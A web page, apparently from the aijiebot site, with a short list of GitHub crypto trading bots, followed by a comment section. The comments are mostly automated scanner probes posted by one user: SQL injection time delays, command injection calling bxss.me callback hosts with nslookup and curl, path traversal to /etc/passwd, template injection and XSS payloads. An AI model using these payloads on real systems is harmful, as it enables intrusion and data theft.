What crypto trading bots are available on github?

aijiebot:

aijiebot is a VBA-based quantitative trading bot that requires no programming background to use.

It supports exchanges like Binance and comes with built-in strategies such as grid trading and Martingale trading.

The official website provides detailed tutorials and examples, enabling even beginners to quickly get started.

Due to its simplicity and ease of use, aijiebot is suitable for those who want to quickly try out quantitative trading.

CCXT:

CCXT is a cryptocurrency trading API framework that supports multiple programming languages, including JavaScript, TypeScript, Python, C#, and PHP.

It integrates with over 130 exchanges and provides a unified API interface, facilitating trading and data analysis for developers.

CCXT's open-source nature allows developers to customize and extend it based on their needs.

For experienced developers, CCXT is a powerful tool that can help them quickly build their own quantitative trading systems.

Freqtrade:

Freqtrade is an open-source quantitative trading framework based on Python.

It allows users to execute trades through strategies they write or train.

Freqtrade is compatible with multiple cryptocurrency exchange APIs and provides a complete framework including data acquisition, strategy development, backtesting, and live trading functions.

Due to its flexibility and customizability, Freqtrade is suitable for users who want to deeply customize based on their needs.

Gekko:

Gekko is a JavaScript-based quantitative trading platform for digital currencies.

It supports backtesting, simulation trading, and live trading, and provides rich API interfaces and a plugin system.

Gekko's advantages lie in its usability and scalability, enabling users to get started easily and customize according to their needs.

Gekko also provides rich documentation and community support, making development more efficient for developers.

Zenbot:

Zenbot is an open-source trading bot based on Node.js and MongoDB.

It supports multiple mainstream exchanges such as Binance, Bitfinex, Bittrex, and can be extended to other platforms through a plugin architecture.

The core of Zenbot lies in its automated trading strategies based on technical indicators like MACD and RSI.

It can monitor market dynamics in real-time and determine the timing of buying or selling through preset technical indicators.

Zenbot is suitable for all types of traders, whether beginners or experienced investors, who can use it to assist in trading decisions or improve trading efficiency.

These projects have detailed documentation and community support on GitHub, and developers can choose suitable projects based on their needs and interests for learning and practice. At the same time, these projects have also made significant contributions to the development of the digital currency quantitative trading field.



  admin   2024-5-19

nqhXncMU2024-7-3 2:21:02
!(()&&!|*|*|
nqhXncMU2024-7-3 2:21:05
^(#$!@#$)(()))******
nqhXncMU2024-7-3 2:21:06
1Mf5BcTGtO
nqhXncMU2024-7-3 2:21:08
'"()
nqhXncMU2024-7-3 2:21:11
'&&sleep(27*1000)*zeybkp&&'
nqhXncMU2024-7-3 2:21:11
'.gethostbyname(lc('hitlo'.'ytrbnzvx5c3bd.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(73).chr(104).chr(88).'
nqhXncMU2024-7-3 2:21:13
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
nqhXncMU2024-7-3 2:21:13
"&&sleep(27*1000)*zxnguk&&"
nqhXncMU2024-7-3 2:21:15
".gethostbyname(lc("hitvm"."gargejiu4cb03.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(87).chr(104).chr(88)."
nqhXncMU2024-7-3 2:21:15
&n978278=v972007
nqhXncMU2024-7-3 2:21:17
/../../../../../../../../../../windows/system32/BITSADMIN.exe
nqhXncMU2024-7-3 2:21:17
Ds6oy0UM
nqhXncMU2024-7-3 2:21:17
';print(md5(31337));$a='
nqhXncMU2024-7-3 2:21:18
'||sleep(27*1000)*dvukfj||'
nqhXncMU2024-7-3 2:21:19
"||sleep(27*1000)*ynjwpz||"
nqhXncMU2024-7-3 2:21:19
";print(md5(31337));$a="
nqhXncMU2024-7-3 2:21:21
${@print(md5(31337))}
nqhXncMU2024-7-3 2:21:22
${@print(md5(31337))}\
nqhXncMU2024-7-3 2:21:26
'.print(md5(31337)).'
nqhXncMU2024-7-3 2:21:27
${10000471+9999128}
nqhXncMU2024-7-3 2:21:27
12345'"\'\");|]*{ <>�''
nqhXncMU2024-7-3 2:21:30
echo ucbmuv$()\ iqcwjw\nz^xyu||a #' &echo ucbmuv$()\ iqcwjw\nz^xyu||a #|" &echo ucbmuv$()\ iqcwjw\nz^xyu||a #
nqhXncMU2024-7-3 2:21:30
response.write(9935072*9286014)
nqhXncMU2024-7-3 2:21:30
ctime sleep p0 (I30 tp1 Rp2 .
nqhXncMU2024-7-3 2:21:31
../../../../../../../../../../../../../../etc/passwd
nqhXncMU2024-7-3 2:21:32
&echo pwokfu$()\ xfenwb\nz^xyu||a #' &echo pwokfu$()\ xfenwb\nz^xyu||a #|" &echo pwokfu$()\ xfenwb\nz^xyu||a #
nqhXncMU2024-7-3 2:21:32
../../../../../../../../../../../../../../windows/win.ini
nqhXncMU2024-7-3 2:21:33
'+response.write(9935072*9286014)+'
nqhXncMU2024-7-3 2:21:34
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
nqhXncMU2024-7-3 2:21:35
HttP://bxss.me/t/xss.html?%00
nqhXncMU2024-7-3 2:21:35
"+response.write(9935072*9286014)+"
nqhXncMU2024-7-3 2:21:36
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
nqhXncMU2024-7-3 2:21:38
|echo piqxfp$()\ bcguda\nz^xyu||a #' |echo piqxfp$()\ bcguda\nz^xyu||a #|" |echo piqxfp$()\ bcguda\nz^xyu||a #
nqhXncMU2024-7-3 2:21:38
Http://bxss.me/t/fit.txt
nqhXncMU2024-7-3 2:21:38
bxss.me/t/xss.html?%00
nqhXncMU2024-7-3 2:21:38
file:///etc/passwd
nqhXncMU2024-7-3 2:21:39
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
nqhXncMU2024-7-3 2:21:40
"+"A".concat(70-3).concat(22*4).concat(104).concat(79).concat(113).concat(71)+(require"socket" Socket.gethostbyname("hitgn"+"wgmhpgjm0d06e.bxss.me.")[3].to_s)+"
nqhXncMU2024-7-3 2:21:40
http://bxss.me/t/fit.txt?.jpg
nqhXncMU2024-7-3 2:21:40
(nslookup -q=cname hitudjjochdlt9cc1a.bxss.me||curl hitudjjochdlt9cc1a.bxss.me))
nqhXncMU2024-7-3 2:21:41
../
nqhXncMU2024-7-3 2:21:41
402
nqhXncMU2024-7-3 2:21:41
xfs.bxss.me
nqhXncMU2024-7-3 2:21:42
/etc/shells
nqhXncMU2024-7-3 2:21:44
$(nslookup -q=cname hitkahalclppy27d72.bxss.me||curl hitkahalclppy27d72.bxss.me)
nqhXncMU2024-7-3 2:21:46
402
nqhXncMU2024-7-3 2:21:46
'+'A'.concat(70-3).concat(22*4).concat(114).concat(71).concat(113).concat(73)+(require'socket' Socket.gethostbyname('hitcv'+'fspyswuf04a31.bxss.me.')[3].to_s)+'
nqhXncMU2024-7-3 2:21:46
965682
nqhXncMU2024-7-3 2:21:46
c:/windows/win.ini
nqhXncMU2024-7-3 2:21:48
&nslookup -q=cname hitfysrflwpsxb88e5.bxss.me&'\"`0&nslookup -q=cname hitfysrflwpsxb88e5.bxss.me&`'
nqhXncMU2024-7-3 2:21:49
http://xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:21:49
402/.
nqhXncMU2024-7-3 2:21:49
bxss.me
nqhXncMU2024-7-3 2:21:49
9787283
nqhXncMU2024-7-3 2:21:51
&(nslookup -q=cname hitbutrgcjtxad4818.bxss.me||curl hitbutrgcjtxad4818.bxss.me)&'\"`0&(nslookup -q=cname hitbutrgcjtxad4818.bxss.me||curl hitbutrgcjtxad4818.bxss.me)&`'
nqhXncMU2024-7-3 2:21:53
xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:21:54
|(nslookup -q=cname hitjqowxpbbst22c06.bxss.me||curl hitjqowxpbbst22c06.bxss.me)
nqhXncMU2024-7-3 2:21:54
bfg7620<s1﹥s2ʺs3ʹhjl7620
nqhXncMU2024-7-3 2:21:57
//xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:21:59
`(nslookup -q=cname hitxwypokbrmq249f1.bxss.me||curl hitxwypokbrmq249f1.bxss.me)`
nqhXncMU2024-7-3 2:21:59
/\xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:22:02
bfgx2767��z1��z2a�bcxhjl2767
nqhXncMU2024-7-3 2:22:05
<%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 2:22:12
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 2:22:14
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 2:22:17
dfb{98991*97996}xca
nqhXncMU2024-7-3 2:22:19
dfb${98991*97996}xca
nqhXncMU2024-7-3 2:22:24
dfb#{98991*97996}xca
nqhXncMU2024-7-3 2:22:27
dfb{#98991*97996}xca
nqhXncMU2024-7-3 2:22:30
dfb{@98991*97996}xca
nqhXncMU2024-7-3 2:22:35
dfb{{=98991*97996}}xca
nqhXncMU2024-7-3 2:22:39
dfb@(98991*97996)xca
nqhXncMU2024-7-3 2:22:41
dfb<%=98991*97996%>xca
nqhXncMU2024-7-3 2:22:45
dfb#set($x=98991*97996)${x}xca
nqhXncMU2024-7-3 2:22:49
dfb{{"abc"|title}}xca
nqhXncMU2024-7-3 2:22:55
print("dfb" . 98991*97996 . "xca");
nqhXncMU2024-7-3 2:22:59
98991*97996*98991*97996
nqhXncMU2024-7-3 2:23:03
dfb{@math key=98991 method="multiply" operand=97996/}xca
nqhXncMU2024-7-3 2:23:08
dfb{{{this}}}xca
nqhXncMU2024-7-3 2:23:13
#{98991*97996*98991*97996}
nqhXncMU2024-7-3 2:23:19
dfb#{xca}=123
nqhXncMU2024-7-3 2:23:22
dfb{{'abcd'.toUpperCase()}}xca
nqhXncMU2024-7-3 2:23:25
AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA
nqhXncMU2024-7-3 2:23:27
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 2:23:32
dfb[[${98991*97996}]]xca
nqhXncMU2024-7-3 2:23:39
dfb__${98991*97996}__::.x
nqhXncMU2024-7-3 2:23:43
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
nqhXncMU2024-7-3 2:23:55
%0D%0A%3C%53%63%52%69%50%74%20%3E%4E%66%36%78%289609%29%3C%2F%73%43%72%69%70%54%3E
nqhXncMU2024-7-3 2:23:57
\u003CScRiPt\Nf6x(9411)\u003C/sCripT\u003E
nqhXncMU2024-7-3 2:24:00
&lt;ScRiPt&gt;Nf6x(9648)&lt;/sCripT&gt;
nqhXncMU2024-7-3 2:24:06
}body{zzz:Expre/**/SSion(Nf6x(9675))}
nqhXncMU2024-7-3 2:27:44
IGP6j45O
nqhXncMU2024-7-3 2:28:06
*655*650*0
nqhXncMU2024-7-3 2:28:08
NaN+660-655-5
nqhXncMU2024-7-3 2:28:13
*125*120*0
nqhXncMU2024-7-3 2:28:18
NaN+130-125-5
nqhXncMU2024-7-3 2:28:25
*522*517*0
nqhXncMU2024-7-3 2:28:29
NaN+527-522-5
nqhXncMU2024-7-3 2:28:35
*130*125*0
nqhXncMU2024-7-3 2:28:42
NaN+135-130-5
nqhXncMU2024-7-3 2:28:45
-1 OR 2+179-179-1=0+0+0+1
nqhXncMU2024-7-3 2:28:57
-1 OR 3+179-179-1=0+0+0+1
nqhXncMU2024-7-3 2:29:01
-1 OR 3*2<(0+5+179-179)
nqhXncMU2024-7-3 2:29:06
-1 OR 3*2>(0+5+179-179)
nqhXncMU2024-7-3 2:29:24
*if(now()=sysdate(),sleep(15),0)
nqhXncMU2024-7-3 2:29:45
0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z
nqhXncMU2024-7-3 2:30:05
0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z
nqhXncMU2024-7-3 2:30:30
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
nqhXncMU2024-7-3 2:30:48
-1; waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:31:03
-1); waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:31:20
-1)); waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:31:37
-1 waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:31:50
lvv5vzr5'; waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:32:09
MO4j9NHJ'); waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:32:26
Y5bxgi2Y')); waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:32:44
-1 OR 707=(SELECT 707 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:33:01
-1) OR 898=(SELECT 898 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:33:19
-1)) OR 644=(SELECT 644 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:33:36
aeuluOT1' OR 412=(SELECT 412 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:33:50
R2hawHzQ') OR 978=(SELECT 978 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:34:18
JoC4JjgR')) OR 497=(SELECT 497 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:34:46
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
nqhXncMU2024-7-3 2:35:14
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
nqhXncMU2024-7-3 2:35:16
����%2527%2522\'\"
nqhXncMU2024-7-3 2:35:18
@@c0wxO
nqhXncMU2024-7-3 10:53:15
9351874
nqhXncMU2024-7-3 10:53:22
bfg5423<s1﹥s2ʺs3ʹhjl5423
nqhXncMU2024-7-3 10:53:29
bfgx3979��z1��z2a�bcxhjl3979
nqhXncMU2024-7-3 10:53:32
<%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 10:53:39
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 10:53:42
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 10:53:47
dfb[[${98991*97996}]]xca
nqhXncMU2024-7-3 10:53:55
dfb__${98991*97996}__::.x
nqhXncMU2024-7-3 10:54:01
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
nqhXncMU2024-7-3 10:54:46
%0D%0A%3C%53%63%52%69%50%74%20%3E%45%44%5A%48%289485%29%3C%2F%73%43%72%69%70%54%3E
nqhXncMU2024-7-3 10:54:52
\u003CScRiPt\EDZH(9746)\u003C/sCripT\u003E
nqhXncMU2024-7-3 10:54:59
&lt;ScRiPt&gt;EDZH(9140)&lt;/sCripT&gt;
nqhXncMU2024-7-3 10:55:20
}body{zzz:Expre/**/SSion(EDZH(9208))}
评论: